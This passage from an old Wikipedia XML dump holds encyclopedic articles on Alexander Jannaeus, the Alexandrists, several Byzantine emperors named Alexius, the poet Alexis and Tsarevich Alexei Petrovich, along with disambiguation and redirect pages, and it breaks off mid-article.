        <id>476225</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:AlexanderJannaeus.gif|thumb|300px|Coin of '''Alexander Jannaeus''' (103-76 BC).
&lt;br&gt;'''Front:''' [[Seleucid]] anchor, with Greek legend &quot;King Alexander&quot;.
&lt;br&gt;'''Back:''' Eight-spoked wheel or star-within a diadem, with Hebrew letters between the spokes &quot;Yehonatan the King&quot;.]]

'''Alexander Jannaeus''' (also known as '''Alexander Jannai/Yannai'''), king of [[Judea]] from ([[103 BCE]] to [[76 BCE]]), son of [[John Hyrcanus]], inherited the throne from his brother [[Aristobulus]], and appears to have married his brother's widow, ''Shlamtzion'' or ''Shlomtzion'' or &quot;Shelomit&quot;, also known as [[Salome Alexandra]], according to the Biblical law of Yibum (&quot;levirate marriage&quot;), although [[Josephus]] is inexplicit on that point.

His likely full Hebrew name was Jonathan; he may have been the High Priest Jonathan, rather than his great-uncle of the same name, who established the [[Masada]] fortress.  Under the name King Yannai, he appears as a wicked tyrant in the [[Talmud]], reflecting his conflict with the [[Pharisee]] party. He is among the more colorful historical figures little known, however, outside specialized history, although the impact of him and his widow on the subsequent development of Judaism and Christianity is substantial. 

==Civil war against the Pharisees==
[[Image:WillemSwiddeAlexanderJannaeus.jpg|thumb|300px|The excution of the Pharisees by Alexander Jannaeus, showing the King and his Court feasting during the executions. Engraving by Willem Swidde, 17th century.]]
An avid supporter of the aristocratic [[Hellenism|Hellenist]] faction known as the [[Sadducees]], his reign was constantly challenged by opponents, among them a brother with a rival claim to the throne, and the populist urban-based [[Pharisee]] party. 

At the beginning of his reign Alexander Jannaeus halted the suppression of the Pharisees and the Sages for a while, under the influence of his wife Salome Alexandra (said to be the sister of the great Jewish sage Shimon ben Shetach). This gave him time and resources to increase his power and prestige by extending the territory under his rule through war and conquest. As his power grew, however, he enlisted foreign soldiers to suppress his own people and eliminate the Pharisees.

One year during the Jewish holiday of Sukkot, Alexander Jannaeus, while officiating as the High Priest (Kohen Gadol) at the Temple in Jerusalem, demonstrated his support of the Sadducees by denying the law of the water libation. The crowd responded with shock at his mockery and showed their displeasure by pelting Alexander with the etrogim (citrons) that they were holding in their hands. Unwittingly, the crowd had played right into Alexander's hands. He had intended to incite the people to riot and his soldiers fell upon the crowd at his command. The soldiers slew more than 6,000 people in the Temple courtyard.

A civil war started, in which the Pharisees allied with the [[Seleucids]] king [[Demetrius III Eucaerus|Demetrius III]] against Alexander Jannaeus. He first retreated, but then managed to oust his rivals thanks to popular support against the Seleucid invasion of Judea. During the civil war, Alexander Jannaeus suppressed his rivals brutally, killing his brother and many leading Pharisees. ''The New Century Book of Facts'' writes:

:''&quot;It is said that 50,000 perished in this civil strife. He quelled a revolt at Jerusalem by slaughtering 6,000. On his return from a short exile into which he had been driven by the Pharisees, he caused 800 rebels to be crucified before him and their wives and children slaughtered ([[86 BC|86 B.C.]]).&quot;''

==Alliance with the Essenes==
[[Image:JonathanQumran.gif|thumb|150px|[[Dead Sea scrolls|Dead Sea Scroll]] from Qumran, with a prayer to Alexander Jannaeus.]]
Alexander Jannaeus may have been in close relation with the monastic [[Essenes]] at some point, who were probably allies during his fight against the Pharisees. A piece from the [[Dead Sea scrolls]] from [[Qumran]] appears to be an homage to him:

:''&quot;holy city/ for king Jonathan/ and all the congregation of your people/ Israel/ who are in the four/ winds of heaven/ peace be (for) all/ and upon your kingdom/ your name be blessed&quot;'' (Transcription and translation by E. Eshel, H. Eshel, and A. Yardeni)  
  
Alexander Jannaeus showed considerable competence as a military leader, repelling invaders and expanding the country's borders to the west and south.  He was defeated by [[Ptolemy Lathyrus]] in [[Galilee]]; made an alliance with [[Cleopatra]] and drove Ptolemy out.  By the end of his rule, the borders of his state would exceed that of David and extend to Gaza and far into Jordan.  

Upon his death, he was succeeded as monarch by his wife [[Salome Alexandra]], known also and better as [[Shlomzion]], and succeeded as [[High Priest]] by his son John [[Hyrcanus II]].

==Coinage==
The coinage of Alexander Jannaeus is characteristic of the early Jewish coinage in that it avoided human or animal representations, in opposition to the surrounding Greek, and later Roman types of the period. Jewish coinage instead focused on symbols, either natural, such as the [[palm tree]], the [[pomegranate]] or the star, either man-made, such as the temple, the [[Menorah]], trumpets or [[cornucopia]].

[[Image:JanaeusCoinPhoto.JPG|thumb|300px|Coin of Alexander Jannaeus ([[103 BC]] to [[76 BC]]).&lt;br&gt;
'''Obv:''' [[Seleucid]] anchor and Greek Legend: BASILEWS ALEXANDROU &quot;King Alexander&quot;.&lt;br&gt;
'''Rev:''' Eight-spoke wheel or star within diadem. Hebrew legend inside the spokes: &quot;Yehonatan the King&quot;.]]
Alexander Jannaeus was the first of the Jewish kings to introduce the &quot;eight-ray star&quot; or &quot;eight-spoked wheel&quot; symbol, in his [[bronze]] &quot;Widow's mite&quot; coins, in combination with the wide-spread [[Seleucid]] numismatic symbol of the anchor. These coins are thought to be the ones referred to in the [[Bible]] in Luke 21:1-4:
:''&quot;and Jesus sat over against the treasury, and beheld how the people cast money into the treasury; and many that were rich cast in much. And He called unto him His disciples, and saith unto them, Verily I say unto you, that this poor widow hath cast more in, than all they which have cast into the treasury: For all they did cast in of their abundance; but she of her want did cast in all that she had&quot;''

Depending on the make, the star symbol can be shown with straight spokes connected to the outside circle, in a style rather indicative of a wheel. On others, the spokes can have a more &quot;flame-like&quot; shape, more indicative of the representation of a star within a diadem.

It is not clear what the wheel or star may exactly symbolize, and interpretations vary, from the morning star, to the sun or the heavens. The influence of some [[Persians|Persian]] symbols of a star within a diadem, or the eight-spoked [[Buddhist]] wheel have also been suggested. The star cannot be a representation of the star of the birth of [[Jesus]], due to the anteriority of the coins by close to a century. On balance, the eight-spoked Macedonian star (a variation of which is the [[Vergina Sun]]), emblem of the royal [[Argead dynasty]] and the ancient kingdom of [[Macedon|Macedonia]], within a Hellenistic [[Diadem (personal wear)|diadem]] symbolizing royalty (many of the coins depict a small knot with two ends on top of the diadem), seem to be the most probable source for this symbol. 

{{start box}}
{{succession box one to two|before=[[Aristobulus|Aristobulus I]]|title1=[[Hasmonean|King of Judaea]]|title2=[[List of High Priests of Israel|High Priest of Jerusalem]]|years1=103&amp;ndash;76 BC|years2=103&amp;ndash;76 BC|after1=[[Salome Alexandra]]|after2=[[Hyrcanus II]]}}
{{end box}}

==References==
* &quot;Jewish symbols on ancient Jewish coins&quot; Paul Romanoff, New York American Israel Numismatic Association, 1971.
* This article incorporates some content from the public domain 1911 edition of ''The New Century Book of Facts'' published by the King-Richardson Company, Springfield, Massachusetts. (This reference gives a death date of 78 BC, but consensus seems to be 76 BC.)

==External links==
*[http://www.biblicalmites.com Leptons and Prutahs of Alexander Jannaeus]
*[http://dougsmith.ancients.info/feac47wid.html Coinage of King Alexander Jannaeus, &quot;Widow's Mites&quot;.]
*[http://images.google.co.jp/images?q=Alexander%20Jannaeus%20coins&amp;hl=ja&amp;lr=&amp;sa=N&amp;tab=wi Coins of King Alexander Jannaeus]
*[http://www.macedonian-heritage.gr/HellenicMacedonia/en/img_A1a.html Miniature 'shield' showing the 8-spoked star of the Argead]

[[Category:Hasmoneans]]
[[Category:High Priests of Israel]]

[[he:&amp;#1488;&amp;#1500;&amp;#1499;&amp;#1505;&amp;#1504;&amp;#1491;&amp;#1512; &amp;#1497;&amp;#1504;&amp;#1488;&amp;#1497;]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander IV</title>
    <id>1607</id>
    <revision>
      <id>35531544</id>
      <timestamp>2006-01-17T12:14:59Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>{{hndis}}</comment>
      <text xml:space="preserve">'''Alexander IV''' may refer to either of the following;

*[[Pope Alexander IV]]
*King [[Alexander IV of Macedon]], the son of [[Alexander the Great]]

{{hndis}}

[[de:Alexander IV.]]
[[es:Alejandro IV]]
[[fr:Alexandre IV]]
[[it:Alessandro IV]]
[[sv:Alexander IV]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander V</title>
    <id>1608</id>
    <revision>
      <id>15900075</id>
      <timestamp>2005-04-21T03:35:52Z</timestamp>
      <contributor>
        <username>John Kenney</username>
        <id>10512</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Pope Alexander V]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander VI</title>
    <id>1609</id>
    <revision>
      <id>15900076</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope_Alexander_VI]]
</text>
    </revision>
  </page>
  <page>
    <title>Alexander VII</title>
    <id>1610</id>
    <revision>
      <id>15900077</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope_Alexander_VII]]
</text>
    </revision>
  </page>
  <page>
    <title>Alexander VIII</title>
    <id>1611</id>
    <revision>
      <id>15900078</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope_Alexander_VIII]]
</text>
    </revision>
  </page>
  <page>
    <title>Alexandrists</title>
    <id>1612</id>
    <revision>
      <id>28050100</id>
      <timestamp>2005-11-11T19:41:57Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">The '''Alexandrists''' were a school of [[Renaissance]] philosophers who, in the great controversy on the subject 
of personal immortality, adopted the explanation of the ''De Anima'' given by Alexander of Aphrodisias.

According to the orthodox [[Thomism]] of the Roman Catholic Church, [[Aristotle]] rightly regarded reason as a facility of the individual soul. Against this, the Averroists, led by [[Agostino Nito]],  introduced the modifying theory that universal reason in a sense individualizes itself in each soul and then absorbs the active reason into itself again.  These two theories respectively evolved the doctrine of individual and universal immortality, or the absorption of the individual into the eternal One.

The Alexandrists, led by Pietro Pomponazzi, boldly assailed these beliefs and denied that either was rightly attributed to Aristotle.  They held that Aristotle considered the soul as a material and therefore a mortal entity which operates during life only under the authority of universal reason.  Hence the Alexandrists denied the possibility of any form of immortality, holding that, since the soul is organically connected with the body, the dissolution of the latter involves the extinction of the former. 


==References==
*{{1911}}</text>
    </revision>
  </page>
  <page>
    <title>Alexius I Comnenus</title>
    <id>1613</id>
    <revision>
      <id>40205479</id>
      <timestamp>2006-02-18T23:19:14Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Epirus]] to [[Despotate of Epirus]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[image:Alexius I.jpg|thumb|Byzantine emperor Alexius I Comnenus]]
'''Alexius I''' (Greek: Αλέξιος Α' Κομνηνός or Alexios I Komnenos) ([[1048]] &amp;ndash; [[August 15]], [[1118]]), [[Byzantine Empire|Byzantine]] [[List of Byzantine Emperors|emperor]] ([[1081]]&amp;ndash;[[1118]]), was the third son of John Comnenus, the nephew of [[Isaac I Comnenus]] (emperor 1057&amp;ndash;1059).  

His father declined the throne on the abdication of Isaac, who was accordingly succeeded by four emperors of other families between [[1059]] and [[1081]].  Under one of these emperors, [[Romanus IV|Romanus IV Diogenes]] ([[1067]]&amp;ndash;[[1071]]), he served with distinction against the [[Seljuk Turks]].  Under [[Michael VII]] Parapinaces ([[1071]]&amp;ndash;[[1078]]) and [[Nicephorus III]] Botaniates ([[1078]]&amp;ndash;[[1081]]) he was also employed, along with his elder brother Isaac, against rebels in [[Asia Minor]], [[Thrace]] and in [[Despotate of Epirus|Epirus]] in [[1071]].  

The success of the [[Comnenus|Comneni]] roused the jealousy of Botaniates and his ministers, and the Comneni were almost compelled to take up arms in self-defence.  Botaniates was forced to abdicate and retire to a [[monastery]], and Isaac declined the crown in favour of his younger brother Alexius, who then became emperor at the age of 33.  

By that time Alexius was the lover of the Empress [[Maria Bagrationi]], a daughter of [[monarch|king]] [[Bagrat IV of Georgia]] who was successively married to [[Michael VII]] Ducas and his successor Botaniates, and was renowned for her beauty.  Alexius and Maria lived almost openly together at the Palace of Mangana, and Alexius had [[Michael VII]] and Maria's young son, the prince Constantine Ducas, adopted and proclaimed heir to the throne.  The affair conferred to Alexius a degree of dynastic legitimacy, but soon his mother Anna Dalassena consolidated the Ducas family connection by arranging the Emperor's wedding with [[Irene Ducaena]] or Doukaina, granddaughter of the ''caesar'' John Ducas, head of a powerful feudal family and the &quot;kingmaker&quot; behind [[Michael VII]].

Alexius' involvement with Maria continued and shortly after his daughter [[Anna Comnena]] was born, she was betrothed to [[Constantine Ducas]] and moved to live at the Mangana Palace with him and Maria.  The situation however changed drastically when [[John II Comnenus]] was born:  Anna's engagement to Constantine was dissolved, she was moved to the main Palace to live with her mother and grandmother, Constantine's status as heir was terminated and Alexius became estranged with Maria, now stripped of her imperial title.  Shortly afterwards, the teenager Constantine died and Maria was confined to a convent.

[[Image:Histamenon nomisma-Alexius I-sb1776.jpg|thumb|300px|This coin was struck by Alexius during his war against [[Robert Guiscard]].]]
Alexius' long reign of nearly 37 years was full of struggle. At the very outset he had to meet the formidable attack of the [[Normans]] ([[Robert Guiscard]] and his son [[Bohemund I of Antioch|Bohemund]]), who took [[Durrës|Dyrrhachium]] and [[Corfu]], and laid siege to [[Larissa]] in [[Thessaly]] (see [[Battle of Dyrrhachium (1081)|Battle of Dyrrhachium]]).  The Norman danger ended for the time with Robert Guiscard's death in [[1085]], and the conquests were reversed.  

He had next to repel the invasions of [[Pechenegs]] and [[Kypchaks|Cumans]] in Thrace, with whom the [[Manichaean]] sect of the [[Bogomils]] made common cause; and thirdly, he had to cope with the fast-growing power of the [[Seljuk Turks]] in Asia Minor.  

Above all he had to meet the difficulties caused by the arrival of the [[knight]]s of the [[First Crusade]], which had been, to a great degree, initiated as the result of the representations of his own ambassadors, whom he had sent to [[Pope Urban II]] at the [[Council of Piacenza]] in [[1095]]. The help which he wanted from the West was simply [[mercenary]] forces and not the immense hosts which arrived, to his consternation and embarrassment.  The first group, under [[Peter the Hermit]], he dealt with by sending them on to Asia Minor, where they were massacred by the Turks in [[1096]].  

The second and much more serious host of knights, led by [[Godfrey of Bouillon]], he also led into Asia, promising to supply them with provisions in return for an oath of homage, and by their victories recovered for the Byzantine Empire a number of important cities and islands&amp;mdash;[[Nicaea]], [[Chios]], [[Rhodes]], [[Izmir|Smyrna]], [[Ephesus]], [[Philadelphia (Alasehir)|Philadelphia]], [[Sardis]], and in fact most of Asia Minor ([[1097]]&amp;ndash;[[1099]]).  This is ascribed by his daughter [[Anna Comnena|Anna]] as a credit to his policy and diplomacy, but by the Latin historians of the crusade as a sign of his treachery and falseness. The crusaders believed their oaths were made invalid when Alexius did not help them during the [[siege of Antioch]]; Bohemund, who had set himself up as [[Principality of Antioch|Prince of Antioch]], briefly went to war with Alexius, but agreed to become Alexius' vassal under the [[Treaty of Devol]] in [[1108]].

During the last twenty years of his life he lost much of his popularity.  The years were marked by persecution of the followers of the Paulician and Bogomil heresies&amp;mdash;one of his last acts was to burn [[Basil the Physician|Basil]], a Bogomil leader, with whom he had engaged in a theological controversy; by renewed struggles with the Turks ([[1110]]&amp;ndash;[[1117]]); and by anxieties as to the succession, which his wife Irene wished to alter in favour of her daughter Anna's husband, [[Nicephorus Bryennius]], for whose benefit the special title ''[[Byzantine aristocracy and bureaucracy|panhypersebastos]]'' (&quot;honored above all&quot;) was created.  This intrigue disturbed even his dying hours.  

Alexius was for many years under the strong influence of an ''eminence grise'', his mother [[Anna Dalassena]], a wise and immensely able politician whom, in a uniquely irregular fashion, he had crowned as ''Empress Augusta'' instead of the rightful claimant to the title, his wife Irene.  Dalassena was the effective administrator of the Empire during Alexius' long absences in war campaigns: she was constantly at odds with her daughter-in-law and had assumed total responsibility for the upbringing and education of her granddaughter [[Anna Comnena]].

== External links ==
* [http://www.wildwinds.com/coins/byz/alexius_I/t.html Alexius coinage]

==References==
*{{1911}}

{{Byzantine Emperor | Prev=[[Nicephorus III]] | CoEmperor= | Next=[[John II Comnenus]]}}

[[Category:Comnenid dynasty]]
[[Category:Byzantine emperors]]
[[Category:Crusades]]
[[Category:1048 births]]
[[Category:1118 deaths]]

[[de:Alexios I. (Byzanz)]]
[[el:Αλέξιος Α' Κομνηνός]]
[[es:Alejo I Comneno]]
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[[he:אלכסיוס הראשון]]
[[hu:I. Alexiosz]]
[[nl:Alexius I van Byzantium]]
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[[pl:Aleksy I Komnen]]
[[pt:Aleixo I Comneno]]
[[fi:Aleksios I Komnenos]]
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[[zh:阿历克塞一世]]</text>
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  <page>
    <title>Alexis</title>
    <id>1614</id>
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      <text xml:space="preserve">:''For other senses of this name, see [[Alexis (disambiguation)]].''

'''Alexis''' (ca. [[375 BC]]-ca. [[275 BC]]) was a [[Greece|Greek]] [[comedian|comic]] [[poet]] of the [[Middle Comedy]], born at [[Thurii]] and taken early to [[Athens]], where he became a citizen.

He won his first [[Lenaean]] victory in the [[350s BC]], most likely, where he was sixth after [[Eubulus]], and fourth after [[Antiphanes]].

[[Plutarch]] says that he lived to the age of 106, and that he died on the stage while being crowned. According to the ''[[Suda]]'', he wrote 245 comedies, of which some 130 titles are preserved. Only fragments of any of the plays have survived - about 340 in all, totalling about 1,000 lines. They attest to the wit and refinement of the author (see [[Theodor Kock]], ''Comicorum Atticorum Fragmenta'').

The ''Suda'' also calls him [[Menander]]'s uncle, but an anonymous [[tractate]] on comedy more plausibly states that Menander was his pupil. Alexis was known in [[Ancient Rome|Roman]] times; [[Aulus Gellius]] noted that Alexis' plays were used by Roman comedians, including [[Turpilius]] and possibly [[Plautus]].

==References==
*{{1911}}
[[Category:375 BC births]]
[[Category:275 BC deaths]]
[[Category:Ancient Greek poets]]

[[hu:Alexisz]]</text>
    </revision>
  </page>
  <page>
    <title>Alexius II Comnenus</title>
    <id>1615</id>
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      <id>42042399</id>
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        <username>KnightRider</username>
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      <text xml:space="preserve">'''Alexius II Comnenus''' ([[September 10]], [[1169]] &amp;ndash; October [[1183]]), [[Byzantine emperor]] ([[1180]]-[[1183]]), was the son of emperor [[Manuel I Comnenus]] and [[Maria of Antioch|Maria]], daughter of [[Raymond of Antioch|Raymund]], [[Principality of Antioch|prince of Antioch]]. He was the long-awaited male heir, and was named Alexius as a fulfilment of the [[AIMA prophecy]].

On Manuel's death in [[1180]], Maria, who had been immured in a [[convent]] under the name of Xene, had herself proclaimed regent (1179-1180), and handing over her son to counsellors, who encouraged him in every vice, supported the government of Alexius the ''[[Byzantine aristocracy and bureaucracy|protosebastos]]'' (a cousin of Alexius II), who was popularly believed to be Maria's lover.  The young Alexius and his friends now tried to form a party against the empress mother and the protosebastos; and his sister Maria, wife of Caesar John ([[Renier of Montferrat]]), stirred up riots in the streets of the capital.  

Their party was defeated ([[May 2]], [[1182]]), but [[Andronicus I Comnenus|Andronicus Comnenus]] took advantage of these disorders to aim at the crown, entered Constantinople, where he was received with almost divine honours, and overthrew the regents.  His arrival was celebrated by a massacre of the Latins in Constantinople, especially the [[Venice|Venetian]] merchants, which he made no attempt to stop.  He allowed Alexius to be crowned, but forced him to consent to the death of all his friends, including his mother, his sister and the Caesar, and refused to allow him the smallest voice in public affairs.  

The betrothal in 1180 of Alexius with [[Agnes of France]] , daughter of [[Louis VII of France]] and his third wife [[Adèle of Champagne]] and at the time a child of nine, was quashed. Andronicus was now formally proclaimed as co-emperor, and not long afterwards, on the pretext that divided rule was injurious to the Empire, he caused Alexius to be strangled with a bow-string (October 1183).

==Sources==
* Magdalino, Paul. ''The Empire of Manuel I Komnenos'', 1993

----
{{Byzantine Emperor | Prev=[[Manuel I Comnenus]] | CoEmperor= | Next=[[Andronicus I Comnenus]]}}
{{1911}}

[[Category:Comnenid dynasty]]
[[Category:Byzantine emperors]]
[[Category:1169 births|Alexius II Comnenus]]
[[Category:1183 deaths|Alexius II Comnenus]]

[[de:Alexios II. (Byzanz)]]
[[el:Αλέξιος Β']]
[[es:Alejo II Comneno]]
[[fr:Alexis II Comnène]]
[[it:Alessio II di Bisanzio]]
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[[ja:アレクシオス2世コムネノス]]
[[pl:Aleksy II Komnen]]
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  <page>
    <title>Alexius III Angelus</title>
    <id>1616</id>
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      <text xml:space="preserve">'''Alexius III Angelus''' (Greek: Αλέξιος Γ' Άγγελος or Alexios III Angelos), [[Byzantine Emperors|Byzantine emperor]], was the second son of Andronicus Angelus, nephew of [[Alexius I]].

In [[1195]], while his brother [[Isaac II]] was away hunting in [[Thrace]], he was proclaimed emperor by the troops; he captured Isaac at [[Stagira]] in [[Macedonia (region)|Macedonia]], put out his eyes, and kept him henceforth a close prisoner, though he had been redeemed by him from captivity at [[Antioch]] and loaded with honours.

To compensate for this crime and to confirm his position as emperor, he had to scatter money so lavishly as to empty his treasury, and to allow such licence to the officers of the army as to leave the Empire practically defenceless. He consummated the financial ruin of the state. The able and forceful empress [[Euphrosyne Doukaina Kamaterina]] tried in vain to sustain his credit and his court; Vatatzes, the favourite instrument of her attempts at reform, was [[assassination|assassinated]] by the emperor's orders.

Eastward the Empire was overrun by the [[Seljuk Turks]]; from the north [[Bulgarians]] and [[Vlachs]] descended unchecked to ravage the plains of Macedonia and Thrace; while Alexius squandered the public treasure on his palaces and gardens. Soon he was threatened by a new and yet more formidable danger. In [[1202]] the Western princes of the [[Fourth Crusade]] assembled at [[Venice]], bent on a new [[crusade]].  Alexius, son of the deposed Isaac, escaped from [[Constantinople]] and appealed to the crusaders, promising as a crowning bribe to heal the [[East-West Schism|schism]] of [[Eastern Orthodoxy|East]] and [[Roman Catholicism|West]] if they would help him to depose his uncle.

The crusaders, whose objective had been [[Egypt]], were persuaded to set their course for Constantinople, before which they appeared in June [[1203]], proclaiming Alexius as emperor [[Alexius IV]] and summoning the capital to depose his uncle. Alexius III, sunk in debauchery, took no efficient measures to resist. His son-in-law, [[Theodore I Lascaris|Lascaris]], who was the only one to do anything, was defeated at [[Scutari]], and the siege of [[Constantinople]] began. On the [[July 17]] the crusaders, the aged [[Doge of Venice|doge]] [[Enrico Dandolo]] at their head, scaled the walls and took the city by storm. During the fighting and carnage that followed Alexius hid in the palace, and finally, with one of his daughters, Irene, and such treasures as he could collect, got into a boat and escaped to [[Develton]] in Thrace, leaving his wife, his other daughters and his Empire to the victors.  Isaac, drawn from his prison and robed once more in the imperial purple, received his son in state.

Shortly afterwards Alexius made an effort in conjunction with Murtzuphlos ([[Alexius V]]) to recover the throne. The attempt was unsuccessful and, after wandering about [[Greece]], he surrendered with Euphrosyne, who had meanwhile joined him, to [[Boniface of Montferrat]], then master of a great part of the [[Balkan peninsula]] (the so-called [[Kingdom of Thessalonica]]). Leaving his protection he sought shelter with [[Michael I Ducas]], [[Despotate of Epirus|despot of Epirus]], and then repaired to [[Asia Minor]], where his son-in-law Lascaris was holding his own against the Latins.

Alexius, joined by [[Kay Khusrau I]], the [[sultan]] of [[Sultanate of Rüm|Rüm]] (also called the sultan of [[Iconium]] or [[Konya]]), now demanded the crown of Lascaris, and on his refusal marched against him.  Lascaris, however, defeated and took him prisoner.  Alexius was relegated to a [[monastery]] at [[Nicaea]], where he died on some date unknown. 


{{Byzantine Emperor | Prev=[[Isaac II Angelus]] | CoEmperor= | Next=[[Isaac II Angelus]]&lt;/b&gt; and&lt;br /&gt;&lt;b&gt;[[Alexius IV Angelus]]}}

==References==
*{{1911}}

[[Category:Angelid dynasty]]
[[Category:Byzantine emperors]]
[[Category:Crusades]]

[[de:Alexios III.]]
[[es:Alejo III Ángelo]]
[[fr:Alexis III]]
[[gl:Aleixo III de Bizancio]]
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[[ja:アレクシオス3世アンゲロス]]
[[pl:Aleksy III Angelos]]</text>
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  </page>
  <page>
    <title>Alexius V</title>
    <id>1617</id>
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        <username>Adam Bishop</username>
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      <text xml:space="preserve">'''Alexius V Ducas Murtzouphlos''' (d. [[1205]]), [[Byzantine emperor]], was proclaimed emperor on [[February 5]], [[1204]], during the siege of [[Constantinople]] by the Latins ([[Fourth Crusade]]).  His nickname &quot;Murtzouphlos&quot; referred to his extremely bushy eyebrows. He was related to the imperial Angelus family. 

A Byzantine nobleman, he had risen to the court position of protovestarius by the time of the [[4th Crusade]]. By January of [[1204]], the Emperors [[Isaac II]] and [[Alexius IV]] had inspired little confidence among the people of Constantinople in their efforts to defend the city from the Latins. As a result of his position, Alexius Ducas had easy access to the Imperial residence, and when a revolution in the city arose with the intent of toppling the two Angeli Emperors, Alexius used that access to capture them. The young [[Alexius IV]] would be killed by the bowstring. The death of his father, [[Isaac II]], shortly afterward, was possibly &quot;artificially induced.&quot; 

Upon his coronation, Alexius V began to strengthen the defenses of [[Constantinople]] and ended negotiations with the Latins. It was too late, however, for the new Emperor to make much of a difference. During the ensuing fight, he defended the city with courage and tenacity. The crusaders would prove to be too strong, and Alexius fled to Thrace shortly before the city fell.

He later attempted to ally with his fellow ex-emperor [[Alexius III]] against the Latins, but Alexius III had him blinded and delivered into the hands of the crusaders, who put him to death by casting him from the top of the Pillar of Theodosius as the murderer of Alexius IV. He was the last Byzantine emperor before the establishment of the [[Latin Empire]], which controlled Constantinople for the next 57 years.


{{Byzantine Emperor | Prev=[[Isaac II Angelus]]&lt;/b&gt; and&lt;br&gt;&lt;b&gt;[[Alexius IV Angelus]] | CoEmperor= | Next=[[Theodore I Lascaris]]}}
==References==
*{{1911}}
*John Julius Norwich, &quot;A Short History of Byzantium&quot;, Vintage Books, 1999.

[[Category:1205 deaths]]
[[Category:Angelid dynasty]]
[[Category:Byzantine emperors]]
[[Category:Crusades]]

[[de:Alexios V.]]
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  <page>
    <title>Alexius Mikhailovich</title>
    <id>1618</id>
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      <timestamp>2005-02-08T16:53:56Z</timestamp>
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        <username>John Kenney</username>
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      <text xml:space="preserve">#REDIRECT [[Alexis I of Russia]]</text>
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  <page>
    <title>Tsarevich Alexei Petrovich of Russia</title>
    <id>1620</id>
    <revision>
      <id>41960789</id>
      <timestamp>2006-03-02T22:17:09Z</timestamp>
      <contributor>
        <username>Alex Bakharev</username>
        <id>294809</id>
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      <text xml:space="preserve">[[Image:Tannauer Aleksei.jpg|thumb|200px|Portrait of Alexei by Johann Gottfried Tannauer, c. 1712-16, Russian Museum, St Petersburg]]
'''Alexei Petrovich''' ({{lang-ru|Алексей Петрович}}) ({{OldStyleDate|18 February|1690|28 February}} &amp;ndash; {{OldStyleDate|7 July|1718|26 June}}), a [[Russia]]n [[tsarevich]]. He was born in [[Moscow]], the son of Tsar [[Peter I of Russia|Peter I]] and his first wife [[Eudoxia Lopukhina]]. 

==Childhood==
The young Alexei was brought up by his mother, who fostered an atmosphere of disdain towards [[Peter I of Russia|Peter the Great]], Alexei's father. Alexei's relations with his father suffered from the hatred between his father and his mother, as it was very difficult for him to feel affection for his mother's worst persecutor. From the ages of 6 to 9, Alexei was educated by his tutor Vyazemsky, but after the removal of his mother by Peter the Great to the [[Suzdal]] Intercession Convent, Alexei was confined to the care of educated foreigners, who taught him history, geography, mathematics and French.

==Military career==
In [[1703]], Alexei was ordered to follow the army to the field as a private in a [[bombardier (rank)|bombardier]] regiment. In [[1704]], he was present at the capture of [[Narva]]. At this period, the preceptors of the tsarevich had the highest opinion of his ability. Alexei had strong leanings towards [[archaeology]] and [[ecclesiology]]. However, Peter had wished his son and heir to dedicate himself to the service of new [[Russia]], and demanded from him unceasing labour in order to maintain Russia's new wealth and power. Painful relations between father and son, quite apart from the prior personal antipathies, were therefore inevitable. It was an additional misfortune for Alexei that his father should have been too busy to attend to him just as he was growing up from boyhood to manhood. He was left in the hands of [[reactionary]] [[boyars]] and priests, who encouraged him to hate his father and wish for the death of the tsar-[[antichrist]]. 

In [[1708]] Peter sent Alexei to [[Smolensk]] to collect [[provender]] and [[recruit]]s, and after that to [[Moscow]] to fortify it against [[Charles XII of Sweden]]. At the end of [[1709]], Alexei went to [[Dresden]] for one year. There, he finished lessons in French, German, mathematics and fortification. After his education, Alexei married princess [[Charlotte of Brunswick-Wolfenbüttel]], greatly against his will. The wedding was celebrated at [[Torgau]] on [[October 14]], [[1711]], in the house of the queen of [[Poland]]. Three weeks later, the bridegroom was hurried away by his father to [[Torun]] to superintend the provisioning of the Russian troops in Poland. For the next twelve months Alexei was kept constantly on the move. His wife joined him at Torun in December, but in April [[1712]] a peremptory [[ukase]] ordered him off to the army in [[Pomerania]], and in the autumn of the same year he was forced to accompany his father on a tour of inspection through [[Finland]].

==Self-exile==
Immediately on his return from Finland, Alexei was despatched by his father to [[Staraya Russa]] and [[Lake Ladoga]] to see to the building of new ships. This was the last commission entrusted to him, since Peter had not been satisfied with his son's performance and his lack of enthusiasm. Nevertheless, Peter made one last effort to &quot;reclaim&quot; his son. On [[October 11]], [[1715]], princess Charlotte died, after giving birth to a son, the grand-duke Peter, future tsar [[Peter II of Russia|Peter II]]. On the day of the funeral, Peter sent Alexei a stern letter, urging him to take interest in the affairs of the state. Peter threatened to cut him off if he did not acquiesce in his father's plans. Alexei wrote a pitiful reply to his father, offering to renounce the succession in favour of his baby half-brother Peter. Furthermore, in January of [[1716]], Alexei asked his father for permission to become a [[monk]]. 

